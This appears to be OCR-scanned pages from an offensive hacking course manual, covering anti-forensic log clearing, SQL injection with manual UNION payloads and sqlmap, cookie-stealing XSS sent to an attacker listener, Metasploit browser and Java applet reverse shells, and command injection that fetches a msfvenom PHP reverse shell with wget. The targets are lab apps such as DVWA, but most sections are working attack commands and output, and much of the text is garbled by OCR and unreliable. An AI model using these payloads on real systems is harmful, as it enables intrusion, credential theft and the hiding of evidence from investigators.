test. Really any text imaginable can be hidden.in'an image. /N
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t). Understanding Coveri Tr|cks and Erasing Ewdences
1 " I

Once intruders have successfully gained Administrator aceess on a
system, they try to cover their tracks to prevent detéction of their
presence (either current or past) on the system./A"hacker may also try
to remove evidence of their identity or activities on the system to
prevent tracing of their identity or location by authorities. The hacker
usually erases any error messages or secusity events that have béen
logged, to prevent detection. In the folloWing sections, we’ll look at
disabling auditing and clearing the evént log, which are two methods
used by a hacker to cover their tracks and avoid detection.

wevtutilexe cl Application

ol fres allusers

e Go to event viewer

[Wevertviewer oI

Fle Action View Help

= ep | 2 | HI:
|8| Event Viewer (Local) System 106 Events Actions
|+ Custom Views -
5 BB Windows 1503 Level | Date and Time Sowce EventID | TaskC..a | | System L
5] Application (1) tnformanen 7/3/2013 4:18: 31 PM Service... 7036 None — Onen Sivad:...
|| security i M Information 7/3/2013 4:18: ™ Distribu. .. 10029 Mone r c =i
reate Custo
| | Setup i JInformation 7/3/2013 4:10:31PM Service... 7036 MNone X
|| E iV information 7/3/2013 4:04:17PM Service.. 7036  MNone Import Custo...
i | Forwarded Events i JInformation 73/2013 04 15PM Senvice... 70386 None = Clear L
¥ L Apphcabons and Serwces Logs *.J ] " Q...
1 Subscriptions ¥ Fiter Curent...
Event 7036, Service Control Manager Eventlog Provider x
_l Properties
General | Details I &0 Find...
2 3 seveEvents..
The Windows Maodules Installer service entered the running state.
Attach a Tas...
View »
Log Name: Systemn 03 Refresh
Source: Service Control Manager Eve Logged: ' Bl =

o Wavtutil.exe can be used to control the loga in the machine. We can clear all logs by this tool
e Use the script in the CD which will clear all logs. Run the file, it will clear all logs.

BT
Ve Hheko
Cl MIicrosofC-—windows —Fault—Toler ant —Heap,/ Oper At 1 ona | =1
€l MIcCrosSoft-—windows -—-Feedback-—Serwvice-Tr iggerProwvider
cl mMicrosoft-windows—FileIinfominifilcer ‘Operatcional
el microsofc-windows -—Firewall-—-cPL . Ofagnostic
<] A Cr osof T —wi ndows —Folder RrReddrect i on operational”™
< M CcrosofT —windows —Forwarding.” Deb
cl mMicrosoft—windows —Forwarding. /operatcional
cl mMicrosoft-—windows -—Gerttingscarced /D1 agnrosctic
< Microsoft—windows —GroupPolicy  Operationa
cl mMicrosoft—windows —HaL /Debug ]
< Microsoft—windows —Healthcenter “oebu
< Microsoft —windows —Healthcenter /FPerf or mance
< Microsoft —windows —HealthCenterCPL /Per formance
cl Microsoft-—windows—Help /Oper at i ona
cT mMicrosoft-windows —HomeGroup control Pamnel Performancel
L= “microsoft-windows —HomeGroup Ccontrol Pamel ‘operaciornal™
< i CrosofT —windows —HomeGr-oup Listener Serwilce /operation
= T Cr oS of T Wi Ndows —HOomeGroup Provider Serwice Performarm
cl1 "mMicrosoft-—windows —HomeGroup Prowvider Serwvice/ /Operatior
<l Microsoft-windows -—HomeGroup-—ListenerService
<] m1‘croso1;l: N1ﬂﬂ0\a—s—HOtStar‘t <D agrrost i

Hicrozsoft Windows [Version 6.8.6801 ]
Copyright <c» 2086 Microzoft Corporation. All rights

Auditpol ~ ve sallusers
ully ex

e We can work through the proxy server or the vpn connection to hide the real ip.
e We can also work through vps server.
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S. Part D: Hacking Web Servers

a) Understanding Database

A database s an organized collection of data The data are typically ofganized
t0 mode! relevant papects of realty In 2 wiy thal supports processelIaguiring
g information For example modefing (he v allabiity of rhome 1 Hoi.“ﬂlhl
wiy Bl supports Pnding 2 holel with vacancd \

SELECT * FROM user WHERE username = ‘sdmin AND password = adewn

Jdate

[wte

UNON ALL

URLER HY
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b)_Database Injection:

SOL inpection s 1 code wpection technigue usedto aftach dats driven
spphcations ¢ which makgious SCU statements are msprind il BRENLry Nekd
for arecyution (0 g 10 dum the database contents to 1ng FEMCK) LA
pection must enplort § securty vulnerability in an apge on 8 sofwath for

eLample whes Laer input e oomee incormectly ilered for strag 12er i eacape
L Raracters emmbedded In SO statementy OF user MDYl 8 nol SL10ngly

Typed and unerfactedsy ened ted SLL Mpechiondl Mostly Lhown 31 a7

sftach veciof for webaites but cam be uaed 0 IEKCE any type of SUL databane

The data base injection is to inject the database with certain data to alter the database and execute certain commands on the
system that has this database.
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¢) Discovering SQL injection:

When TyDe See SOMme error

Waming: pg_resuit]). sups

stgre > QLresy

. »

"Wa
R TESSING SXPress

(Macromedia][Seque

“MysqlEmor Output: You

cheack the man

If we put ' and we het error code, then the website has mysql injection.
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d)_ MyQSL Injection Threats

pANerticato byeass

dats relrey 3 Labdes COlurm™g

reading fikes (appiu atson or sysbine Rle

w rEing Nl 1D te Spevaling s y3iem

eaeCUling & ysbem COMMands
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€) MyQSL authentication Bypass

an use some Comments

SELECT * FROM yser WHERE ysername » admn” AND password @ admin

SELECT * FROM yaer WHERL vsername AND password
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f)_ Automated SQL injection using some tools:

Mavy I8 an automated SOL Inpection 100l 1's famous enough thaf TR sure you
irdrw L Of you ve heard 45 name AS you may have already been nOEREY about
new verion f wit usl released laday 1 Nl new praclell latvreieh 1

Uump all”, s pimilar 10 “~dumpall” In Sgimip As '8 | concern milTare of
Havh and 5gmag Can lead you B REveng SUCCRIRN| JCK o0 vulner iDie
target By the permigson of vendor which | ve piready Deen granted | 1ha

SROW yOU B eLAmple Of b simgle 021ACh wher il Inslalied apphcation on if
wit prone 192 MySQL inection vwinarsbisty

e Download netsparker to scan web site

e == l P mertry g s_mrl‘ uhﬂ

o i o Paam W % « g P L
v ] [ & - ook - T
‘ vl oy < el o= B &
.} iyt
1 rae |- =g
Fctudy ' 4 wited
"y

o*-h\'ﬁ bdmny #

O M T 52 ag

Dom v3.0.2.0 is out
',.._‘:_‘,',‘.",'j,;,"_“

| P . From Netsparker Blog

8 x

(raming (1 7) ]
] ”H-H-1 Famd e’ o=’ 'R

¥ e} 1 v Yl Magiad ki e pe
o | dde CoegEte Erabied
(] ey 10 plevilest

el el | ey . ! wtukr Bawad 8
T 1 I -y - ' I v e

i bagasin |

e Take the vulnerable url
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tomymard faEher e Aormal M By The Dackend dadase T f a0 ertressely (O
irer bty 3nd By woretthd enpiol ton (30 have rEca mpic atont  Netip st er

conlivesed e vuner sty by Srecutng B et SOL Quary on the hack end databave

Tabde of Comtem
.

PNNaSE SAT

KA BOSE ;L JTTRA

Summary

Severlty © Crecy
Condirssation ) ( snfiomed

Vulneralbe LML

e Open Havjj tools

T —— | ]
I W [ — e [ e
W — | =3 Mt I =1 Teme [ = | S T
e = £ - = . 1) %
—— [ g —— .- g
Hanvig - A SO e T ool

T e e GO T B st
Crete BDeases Eha il od
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T, e ——

o

———

A B

Ladhn=1N -

o Using webcruiser

File

Tools View Configuration Help

S & ¥ Browser [ Scanner B sQL QXS5 | &F Resend g Bruter Cookie |&F Setting &l ScanURL | £ ScanPage | [E1 ScanSite
URL: | hitps//192.168.100.1:8080/wavsep/active/SOL-Injection/SInjection-Detection-Evaluation-GET-500Errar/indexjsp GET -8B 00
|0 WebBrowser | Crawler Scan Current URL | Scan Current Page  Scan Current Site | Reset Scanner

“ld WulnsrsbilityScarmer | bk .
4G FOC(Fronf OF Conceptd || =TI,
241 Tnjection = SAL-Tnjection
L) Crose Site Seriptis © Elnjectien-Deteetion—EvaluationCEI-S00ErTor
hidmini strati onEoke s Cagell=Tnjectionlologin-StringLoginBypass—ithErrors jspTosernane=te by alosdpas onor d=taestralus?

£ SvstenTasl CazeDl-Injecticolnlogin—StringLoginvpazz—ithErvers, j=p
-5F RexendTosl Cagel2-TnjectionloSear ch-Sering-lnionBrploi t=¥i thErrars. jspinspmtextealue
BaaeTod CazelZ-InjectionlnSear ch-Str ing—UnionExploi t—=#i thErrwrs. 129
! CockiaTool Cagsl3-TnjectionTolale-SeringBooleanfeploi t-i thErrore jspTusernane=tex tualas

CazeD3-Injectionlnfalo—StringFocleankrplol t=i thErrors. jzp

CoadaTacl Case04-Tnjecti onlnllpdate-String-Cormsndlniecti a-#i thire ors, | spins g=taxtralue
= Stringlool CazeM-Injectionlnlpdate—StringCormandlngecti onWi thirrors. jzp
0f Sertings CasslB-TnjectionToSear chir derBy—String Binaryleliber steBuntineError¥ithTrrors jopTorderbymsgid
ks Report | | Cazel5-InjectionInSear chirderBy—StringBinwyleliber atebuntineError—4ithfrrors 5zp -
@ Hbout

|| Address Vulnerabil ©
UEL SgL

Injection—Detection—Eveluation—GEIS00Ey zell— .

I hetp: /192, 168, 100, 1 B080fravsep/actires/SUL-Injecti on/SInjecti on—lleteoti on—Evaluati on-GEI-S00Error/Case0l— .. WRL 531 It
2 hetp: /7132, 160, 100, 1 BIE0 ey gep/ae i ve SUL-Tnjecti on/STnjecti on-Datsction-Evaluati on-GET-S00Er ror/Cagedl= . URL SIL Ik
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I bttp: /192, 1G5, LOD. 118050/ avsep/as tire/S0L-Injecti on/SInjecti onDeteotion—Evaluati sn—GEI-S00Error,/Tazell VEL S4L It
I betp: /7192, 168, 100, | B0 ravsepactire/SUL-InjectionSInjerti onDetection—LEralnati eo-GET-S00Error/Caselt2— VEL S3L Ik
(0 hetp: A/192. 168, 100, 16080  avsep/acti ve/SAL-Tnjecti on/STnjecti on-Detsction-Evaluaki on-GET-S00Er ror. Taselri- WEL SQL It
(h betp: £/192. 168, 100, 118050 avsap/ac tive/SOL-Tnjecti on/STnjaoti onDataction—Evaluati onGET-S00Trror/Cazalid— .. UEL S3L It
() bhttp: /7192, 1G5, 100, 118050/ avsep/active/SOL-TInjecti on/SInjeoti onDateotion—Tvaluati onGEI-S00Zrror/Taseld— .. UEL SAL It
|| €3 heto: /1192, 168, 100, 1 808D ey sendae bive SHL-Iniecti on/Siniecti on—llete ot i on—Ev aluati on—GET-S00Error/CaselB— . WHL 541 It ¥
- = o = . >
| Done | HTTP Thread: 0

| HTTP Thread: 0
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Brute Force

First, input any username and password which are wrong, here we input 123 and

456
e [och ies [erfgesion  Ddp
O bl O e e (O QS | of Rasend g Erier [l Cockin gl Bapmre (0 Sesing [l Semm Sitw: | [ S LS
MR | b1 2L D faginahp GET -S oo
G dabrman B fbbwcwsn | @ Bazens
Folmmiahiliealcamen
S FCErwa 0 Comrmpt) -
L Injevides
oo Bt By =
i DVWA
& Frverdlel -/
Bruesr Teed
T il
&ttt \h-—-"'/
A Siringleal
EabEire
Fap=r i
Py [T
m
P s i
aan
L
. ¥ e -
D T T Thewsd O

submit it and switch o the “Resend” tab.

fe ook fiew [orfipreian i
S8 Biome Giawe G50 Q86 @ fewnd jine [ioke i §inn Biew i [ Som 2
@ -300

URL e IT L e feginchp

Glilmr | @ it ol
e Pl i
18 Ko 6 Cmrt moit R :
e EypT—— e
ivrtekni atubin ipiirdtin/rm-ferlondy
4 jal.:::l Fuﬂir - TR s el W
# hownle]
Brotarlm].
‘r-lld-i
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data retneyal

P 1 0 Opet Lot T e penelt 3LOA Teling 100! That s tomates the peodilg
of detectng and eapiotmg SOL mpection faws and takomg over ol gatetat¥
servers 1t comes with 3 powerful detection engine, mimy nichi faatores fofllg,
sRemgte penels shior tetter and 8 broad range of sefi e 'aﬂ"'-; froem
databate Ningerprinting over daty fetiNng from the S9tbase 0 aiceting he
wndertying e system and erecuting commands on (™ operating syviem v
Oul-Of -2and connec
Target !
URL Ercode gerarated coodie inpections
Oump CEMS dataduane Litie enirs
DBNS dstadase 10 e~ umarite
DBMS database tabie 10 enumerate

DEMS Uusar Lo pnumerate

o Take the cookie using the temper data plugin

Begued e e e sl Hesder vis e R 10 mee He s Ay larve Hesier o e

e Take the url of the website

e ™ Ill ke _

(,l i . | ¥

¢ Go application, backtrack, exploitation tools, web exploitation tools, sqlmap

Write the command
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# python sqlmap.py —u "url' —cookie 'cookie' --dbs

o We will get all the databases

e Change the command to put the data base name and show the tables in that database

e Change the command to put the data base name and table name and to show the users in that database

e Put the command to show all users information



o It will ask if he has to do dictionary attack, answer yes
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h) Automated SQL injection using SQLmap:

data retneval

gimag 1 80 Open kot peneti 3bo teling 100! thal stomates the pradiie
of detectng and expiotrg SOL mpection fNaws and talorg over ol gatebat¥
servers 1t comes with 3 powerful detection angine, mamy nichi fpatores 'm
JRemate penetration tetler and 8 Droad range of selii Mo laghty from

databane Nngerpristing over daty lefrMng from the detitase 10 accestng INe
Jrdertying ibe sysiem g enacuting commands on 1R Gpiating syviem v

ouf-of-2and connecbors

Target 1!

URL Ercode gerarated coolie inpections

Dumg DBMS database Ladie entries
DEMS dtatase 10 e ile

EWE databate Ll o enumerate

DEAS usaer bo enumerate

o Take the cookie using the temper data plugin

AUyt Mt Ayl Header v A ipOrme Heade AELOre Feader Vel

e Take the url of the website

- - [ - = - - - - o R ok

¢ Go application, backtrack, exploitation tools, web exploitation tools, sqlmap

Write the command

# python sqlmap.py —u 'url' —cookie 'cookie' --dbs

84



L

o We will get all the databases

e Change the command to put the data base name and show the tables in that database

e Change the command to put the data base name and table name and to show the users in that database

.

e Put the command to show all users information

o It will ask if he has to do dictionary attack, answer yes
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i). Advanced SQL Commands:

O t‘p 3
unéon select 12
unéon select 1 version()

union select 1 database()
unaon select 1 user()

union select Lable 3<hema ngl from inform J.'-l"' schema Lalles

union select WLable name nul from MmiorMmabon schema Lables where
table schemazdvwi

unson select first name password fom dvwa users
L

e Sometimes we cant use the SQL injection tool because of the firewall. So you need to depend on yourself
manually. You need to know the no of columns in the table and through this way you can run the commands on
the server. We will use the technique order by.

e Make the security medium in DVWA

e Go to SQL injection and put query by entering user id

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

Vulnerability: SQL Injection

Hume
e User D
Al
[
e iad {oniutn
(8"}
ole b mina
More info

o After user id, put the order by (n0) --, ie 5—then decrease it
http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 order by 5-- &Submit=Submit#
You will get error

o It will work when order by 2--, so there is 2 columns
http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 order by 2-- &Submit=Submit#

o We want to know the affected column, so we can run the commands we want to run, so we will use union select.
We can download tool called hack bar to write the commands

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select 1,2-- &Submit=Submit#
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e The affected column is 2

Vulnerability: SQL Injection

User ID:

ID: 1 union select 1,2—-
First name: admin
Surname: admin

ID: 1 union select 1,2--
irst name: 1
Surname: 2

e To know the database, write

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select 1,database()-- &Submit=Submit#

User ID:

ID: 2 union select 1,database()--
First name: Gordon
Surname: Brown

ID: 2 union select 1,databasel)-—-
irat name: 1
Surname: dvwa

e To know the user, write

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select 1,user()-- &Submit=Submit#
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http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2

Vulnerability: SQL Injec

User ID:

ID: 2 union
ir=t name:
Surname :

= e
SO

ID: 2 union

First name: 1

Surname :

select
Gordon

select

X ey g ——

X oESEr ==

root@localhost

e To know the version

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select 1,version()-- &Submit=Submit#

User ID:
TD: 2 mmnion seleco
First nmame: Gordomn

Surname : Browii

TDhr: 2 wmamiomn
irst name: 1
Surname :

seslact

e To query the data in the SQL database

http://192.168.52.134/dvwa/vulnerabilities/sqli/?1d=2
information_schema.tables --&Submit=Submit#

UNION

1, versioml)——

1, versiom() ——

S.0.5la—3ubantins

select null FROM

distinct(table schema),
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User ID:

Submit |
ID: 1 UNION select distinct{table schema), null FROM information schema.tables--
First name: admin
Zurnams: admin

ID: 1 UNIOM select distinct{table schema), null FROM information_schema.tables--
First name: information_schema
Surnams:
ID: 1 UNIOM select distinct(table schema), null FROM information_schema.tables--
First name: dvwa
Surnams:
ID: 1 UNION select distinct(table schema), null FROM information_schema.tables--
First name: mysgl
Surname:

distinct{table_schema), null FROM information_schema.tables--

ID: 1 UNION sel
First name: owa
Surname:

ID: 1 UNIOM select distinct{table schema), null FROM information_schema.tables--
First name: tikiwiki

Surnams:

ID: 1 UNION select di les--

istinct{table_schema), null FROM information_schema.tab
First name: tikiwikil9s
Surnams:

e To see the tables in the database DVWA http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select
table name, null from information_schema.tables where table schema=dvwa -- &Submit=Submit#
e But you need to encode dvwa

http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select table name, null from information schema.tables
where table_schema=0x64767761 -- &Submit=Submit#

Vulnerability: SQL Injection

User ID:

Submit _

ID: 2 union select table name, null from information schema.tables where table schema-@x$4767761 --
First name: Gordon

Surname: Brown

ID: 2 union select table name, null from information schema.tables where
First name: guestbook

surname:

4767761 --

I
L=

=
(1
L
I
T
m
=
=]
1}

=
=

ID: 2 union select table name, null from information schema.tables where table schema=@x$4767761 --
First name: users
Surname:

o union select able name nul from nformaton schema Labley whede
Lable schemazdvwa

undon select Labie name null from INfoMIton schema Lables whede
table schesma=OuB4TE77EY
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e To see the users in the database DVWA http://192.168.52.134/dvwa/vulnerabilities/sqli/?id=2 union select
first name, password from dvwa.users -- &Submit=Submit#

sword from dywa users -

Vulnerability: SQL Injection

User ID:

| Submit
ID: 1 union select first name, password from dvwa.users--
First mname: admin
Surnams: admin
ID: 1 password from dvwa.users--
First
Surname: 5f4dcc3Ib5aa7e5d61l1d8327deb882cifas
ID: 1 wnion select first name, password from dvema.users--
First mame: Gordon
Surname: 299al8caA28cb38d5T268853678922203
ID: 1 wnion select first name, password from dvwea.users--
First nmname: Hack
Surname: Bd3533d7Sase2c3Ig96bdiel@datTccE92l6b

TE: A dvma .. users— -
First

Surnam

Lo A dvwea.users— -

First
Surname :
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j)_Read files by sql injection:

union sesect nul -

-

" union select null load Hel/elc/passwd ) nu"—!;-ﬁ.mﬂ -

¥

" union select null load fle bookani ), null null null -4

y

unon seect nul--

TEXT' , "2010-1-1 12:00:00°) -

e Use the union select nul — to know the number of tables and number of columns in the table.
¢ Go to mutillidae, then injections, SQLi extract data, user info. Write

'union select null --

Please enter username and password
to view account details

]
Name D" St ¢
Password
r
View Account Detallh
e You will get error message
Dont have an account? BRase register hre
Error: Fallure Is always an option and this situation proves it
Line 12
Code
Flle puer fehar efme s Bcae/user-nfo pihe
Message Efror executing quiry: The Used SELECT Statemints have 8 dfferent numder of Columns:
Trace » sr/share/mutiides/ndex phol469) Include() #1 {main)

Diagnotic Information SELECT * FROM accourts WHERE Usarnames r?_'-‘_‘.j_"”_f.:r B’ AND pessword
Did you setup/reset the DB?

o Increase the no of nuls until you don’t get error. After 5 nulls I got the answer

'union select null, null, null, null, null--
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Name F ndlosd Neletc oot red

Password | 1

| View Account Detally
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e You can insert in the database the value we want
.,- _f‘r:—‘ B _'-—" ‘-'r -r"“ln'—ﬂ?'-.- g e e
IT Ak l v ;1 P , I N DYWL L
o ' - :- il Ll ..1.._-" Lt ..__‘_‘....'__. i, ........L_..:

[rm' | 'mrn 1200:00' ) - |
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k)_Understanding Blind SQL injection :

Blind SQL (Structured Query Language) injection is a type of SOL

Inject:on sttach that ashs the database true or faise questions and Jetirmines
the answer based on the applications response. Thes attack isofien used When
the web application is configured to show generic error missiges, but '-Tﬁ‘nnt
mitgated the code that is vulnerable to SOL injecton 4

When an attacher exploits SQL inpectron sometimes theweb applcation

displays error messages from the database com ing that the SQL Query’s
syndax is incorrect Biind SQL injection is neadly identical to normal SQL
Injection, the only cifference being the way the dita is retrieved from the
database. When e database dors nol output data lo the web page, an aftacher
is forced (0 sieal data by ashing the databade a series of Lrue of false
questions. This makes expioiting the SOL Injection vuinerabiity more difficult
but not impossibie

e We depended before in the error message. In blind SQL injection we will depend on sql injection without errors.
Go to blind sql injection in dvwa> Make the security medium.
e To get the no of columns, write in the box

1 union select null,null--

User 1D:

Sulbmit
Xz A LA d o se=1 ot Fens 1 1 e ®E 1 — —
First B T= 1= addim il m
S A4 S Sdm i
X I n LA Ao se= 1 e ot rns 1l 1l el 1 — —
Fa = N S BT
Suarnams

o Another technique is to write 1 union select 1,2--
e To load file,

1 union select 1, load_file (/etc/passwd)—
o Ifit does not work, give it the passwd file in hex.

1 union select
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I)_Understanding Cross Site Scripting (XSS):

Cross-Site Scripting attacks are a type of igjection probjemy.in which malicious
scripts are injected into the otherwise benign and trustedweb sites. Ul'bl;..s-site
scripting (XS5S) attacks occur when an attacker uses a*web application to send
malicious code, generally in the form of a browser side script, to a different
end user. Flaws that allow these attacks to succeeddre quite widespread and
occur anywhere a web application uses inpugffom a user in the output it

generates without validating or encoding it/

An attacker can use XSS to send a malicious script to an unsuspecting user.
The end user's browser has no way to know that the script should not be
trusted, and will execute the script. Because it thinks the script came from a
trusted source, the malicious script can access any cookies, session tokens,
or other sensitive information retained by your browser and used with that site.
These scripts can even rewrite the content of the HTML page.

e The reason that there is hole in the web application program that allows the hacker to execute command or
browse the computer. If the hacker wrote a script code and the web application executed the code, then the
application has a CSS hole.

e There are persistent XSS attacks and reflected XSS attacks

Stored attacks are those where the injected code is permanently stored on the
target servers, such as in a database, in a message forum, visitor log,
comment field, etc. The victim then retrieves the malicious script fromgthe
server when it requests the stored information /'/""

jh

e

V.
Refleited attacks are those where the injec{ed code is reflected off the web
server, such as in an error message, search result, or any other response that
includes some or all of the input sent to the server as part of the request.
Reflected attacks are delivered to victims via another route, such as in an e-
mail message, or on some other web server. When a user is tricked into
clicking on a malicious link or submitting a specially crafted form, the injected
code travels to the vulnerable web server, which reflects the attack back to the
user's browser. The browser then executes the code because it came from a

"trusted" server.

o The reflected XSS attack is through injecting the url, and we call it url inject. In persistent XSS attack, it stores it
in the database and this is very dangerous since anybody will visit the post, the code will be applied on its
computer .
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m)_Reflected XSS Attacks Threat

-:script:-aiert{‘r,nahmpud"}ﬂfscriptb

<script>document.location="httpJ//google.com"</script>

A
<script>document.location="http://192.168.1 7lindex.php?*+document.cookie: </script>

Encoder script k
Shorten url
ne -lvyp 80

Inject cookie by cookie manager +

e To know whether the website has the XSS hole, test that on mutillidae. Go to DNS lookup.
o To know if the web application has the xss hole, write the script

< script>alert(1)</script> You will get 1
To know the session id on cookie, we write
< script>alert (document.cookie) </script>
e To direct you to other website write
<script> document.location="http://www.google.com"</script>

e We can use the link directly

192,168, 1, 3/vulner abies)css 17 names cscrpt >alert( 1) <% 2Fscript
o IEE———

e We can take the cookie of the admin in the website and then we can make login with the cookie and take the
admin privilege. We will work on script that will direct to faked hacker web server and we will tell him to inject
the cookie. In the hacker computer, we will operate any listener that can see the request

o There is web site that can encode the url.

<script>document.location="http://192.168.1.7lindex.php +document.cookie; </script

Encoder script A

%3Cscript%3Edocument. Llocation®%3D%2 Thttps3A%2F%:2F192. 168, 1. T52Findex. php%3Fs27%
| 2Bdocument . cookie%3B%3Ck2Fscripts3E%0A

http //192.168.1.3/vulnerabilities/xss r/?name=%3Cscript%3Edocument.location%3D

D%3A%2F%2F192. 168, 1. 7%2Findex. php%3F%27%2Bdocument . cookie%3B%3C%2Fscrip

o We make a listener

e The admin will open the link that you sent through the emil
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ttp://192.168.1. 3.fvulnerahilit1esfxss r/nane=%3Cscripti3tdocument . location%30

SRt 91192.168.1.7] from (UNKNOWN) [192.168.1.6] 3433
EI' J'index php?PHPSESSID=91b78r1d%6uc9duas203419ntd2;%28security=1low HTTP/1.1
pst: 192.168.1.7
ser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.8) Gecko/20100101 Firefox/22.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.3/vulnerabilities/xss r/?name=%3Cscript%3Edocument. Im:
ation%3D%27http%3A%2F%2F192.168. 1. 7%2Findex. php%3F%27%2Bdocument . cookie%3B%3C%2F
cript%3E%eA
onnection: keep-alive |

e The hacker will browse the application website. He will use temper to change the session id to the hacker
session id

B68.1.3/index.php
ieader Na... Request Header Value

192.168.1.3
t | Mozilla/5.0 (X11; Linux i684
| text/html,application/xhtm
nguage ’ &n-US,En,qzﬂ-_S
coding ' gzu;, deflate

| PHPSESSID=cv1h878pjv03
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n) Persistent XSS Attacks Threat

Armitage

Start browser_autopwn module

o The browser autopwn makes the machine web server and anybody will browse it will apply all the exploits for
the browser and any exploit it will find in the browser will make though it gain access to the web server and
reverse connecrion to hacker machine

e Go to back track and operate the armitage. Put the LHost and SRVHOST the hacker machine Ip and the SRV
port 80 and URIPATH /.

Armitage View Hosts Attacks Workspaces Help

v [ awxiliary
¥ [ admin
¥ | veworks
dlink_i2zeye_au
¥ | server
| file_autopwn
v l;.' exploit
¥ & windows
¥ (& browser
autodesk_idro

] % server/browser_autopwn

HTTP Client Automatic Exploiter

This module has three actions, The first (and the default) is ‘WebServer'
which uses a combination of client-side and server-side techniques to

¥ [ post finnarnrint UTTP rliante snd than aitamaticalh avnlait tham Mavt ic
v Q windows Option 4 Value
¥ [ manage LHOST 192.168.1.7
autoroute SRVHOST 192.168.1.7
SRVPORT 80
SSL 4]
SSlCert
SSLversion SS5L3
Consge. X

ITIIII dTh.dTh

o Install the firebug in order to adjust the sizes of the browser elements so it can withstand the script.

Mame * admin W

<gcript>document.location="http://192.168.1 F"'I'E:.rlpf."

Message *

Sign Guestbook

e When the client go to the guest book, it will be forwarded to hacker computer.

e You can use instead of browser autopone module the java signed applet. We put in LHOST the hacker
computer Ip and LPort the port any port and decide the type of the payload to be java/meterpreter/revers_tcp.
The SRVHOST same as our ip and the SRVPort 80 and URI path /

Armitage View Hosts Attacks Workspaces Help

¥ & auxiliary A
v (@ admin
¥ (& zend
java_bridge

¥ (& exploit

¥ & multi
¥ (@ browser )
java_calendar_deserialize ] * multi/browser/java_signed_applet
java_gestsoundbank_bof

| java_rmi_connection_impl

Java Signed Applet Social Engineering Code Execution

This exploit dynamically creates 3 .jar fil2 via the Msf:Exploit:Java mixin,
then signs the it. The resulting signed applet is presented to the victim via

" java_setdifficm_bof

1r1b

ava signed applet 2 wah nans with 2m annlat fan Tha vietim'e LM sl nan 2 dialas ackins i

java_trusted_chain Option | Value

mozilla_navigatorjava APPLETNAME SiteLoader

qtjava_pointer v CERTCN SiteLoader
DisablePayloadHandler false

ExitOnSession false
192.168.1.7
LPORT 250976
PAYLOAD + java/meterpreterfreverse_tcp
SigningCert

_[-Consale_x]

Targets: |0 => Generic (Java Payload) 'J

METASPLOD CYBE \ COMMAND

e Any body will browse the link will send him the java/meterpreter/reverse_tcp payload
e When the client go to the guest book, it will be forwarded to hacker computer and will download the payload.
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0)_Understanding Command Execution Vulnerabilities

* One of the most critical vulnerabilities that a penetration tester canfcome
across in a web application penetration test is to find anapplicationsthat it will
allow him to execute system commands.The rate of th%swu‘_lﬁérability-iﬂi\gh
because it can allow any unauthorized and malicious u$ef to execute
commands from the web application to the systemrand to harvest large amount

of information or to compromise the target host.In this article we will see how
we can exploit this vulnerability by using the Damih Vulnerable Web Applicat& »
for demonstration. /

e We can through the infected url excute certain commands in unix and windows. We can upload payload and
through this payload we can hack the server.

e You can browse the webserver

e You can upload payload in the web server. We will use msfvenom. Msfvenom is combination of msfpayload and
msfencode.

Msfvenom —p php/meterpreter/reverse_tcp lhost (ip of hacker computer) Iport=(any) -f raw > /root/ test.php

o

=% NSTVENOR =D pAp/Meterpreter, reverse tCp (nost=1sZ, 1081,/ POrt=ay -1 ra 2 root /Deskton/tast o

i ad Re + ;
et .”."' L] l. p.l.'

e Remove the hash from the php file
e We have to copy the payload in the web server but it must be text file

Cp /root/test.php / var/www/test.txt

o We will apply the command in the website to upload the payload through the wget command

| .mntfp:f,-‘lgz.IEB.I.TITesr.rxt -0 /tmp/test.php ; php -f /tmp/test.php

;weget http://192.168.52.137/test.txt -O / tmp/test.php ; php —f /tmp/test.php

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below

kt -O tmpitest.php ; php -f /tmpitest phyl | submit

e Prepare the multi handler.
# msfconsole
# use exploit/multi/handler
# set lhost (hacker ip)
# set Iport (ip we put for the payload)

# exploit
101


http://192.168.52.137/test.txt

SQL Injection (Blind)

e Make sure to install the php in the webserver you want to hack

File Edit Format View Help

: ate --fix-missing
sudo apt-get update |
| sudo apt-get install php5-cli
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p)_Brute Force Vulnerability

« During this type of attack, the attacker is trying to bypass security mechanisms
while having minimal knowledge about them. Using one or more'aceessible
methods: dictionary attack (with or without mutations), brute-force attack (with
given classes of characters e.g.: alphanumerical, specjaf; case (in)sensifive)
the attacker is trying to achieve his/her goal. Gnnsideﬁng a given method,
number of tries, efficiency of the system, which conducts the attack and
estimated efficiency of the system which is attacked, the attacker is ableto/"

calculate how long the attack will have to ia_lf;. Non brute-force attacks, on the
other hand, which includes all classes of characters, give no certainty of

success.

Brute-force attacks are mainly used for guessing passwords and bypassing
access control. However there are a lot of tools which use this techinque to
examine the web service's catalogue structures and seek interesting, from the
attacker's point of view, information. Very often the target of an attack are data
in forms (GET/POST) and users’ Session-IDs

e [t is a way of cracking passwords where we can get username and password to gain access on the website we
want to hack. We will use the brute force in order to gain access to the web server. It happens through the get and
post request. We have many tools that we can do through it the brute force. There is bruter tool, burpsuite,

e Go to dvwa brute force. Addon live http header. Enter in user name and password.

o Take the header information

Headers Generator | Config About

HTTF Headers
hikp: /1192 168, 1.2 'vulner shilities fbrute [ Muser name=userfipassword=userdL ogin=Loqgin#

GET fvulmerabilities lbrute/ Tusern ame=UsarBpasswords=usar&login=Login HTTR/1.1
Host: 192.168.1.2

User-Agent: Mozlla/S.0 (Windows NT 5. 1; rv:22.0) Geckof20100101 Frefox/22.0
Accept: textfhemd, application | <heml-+xml, applicaticng xml;0=0.9,**:q=0.8
Accept-Language: en-U5,en;g=0.5

Accept-Encoding: gzn, deflate

Referer: http:ff192.168. 1.2 vulner abilities fbrute

Cookie: P'HJSE'SSI:D=191'0Frr'-ps?p45kqtnunfpsnFq(§securiy=him

Connection: kesp-alve

HTTR/1.1 200 OK
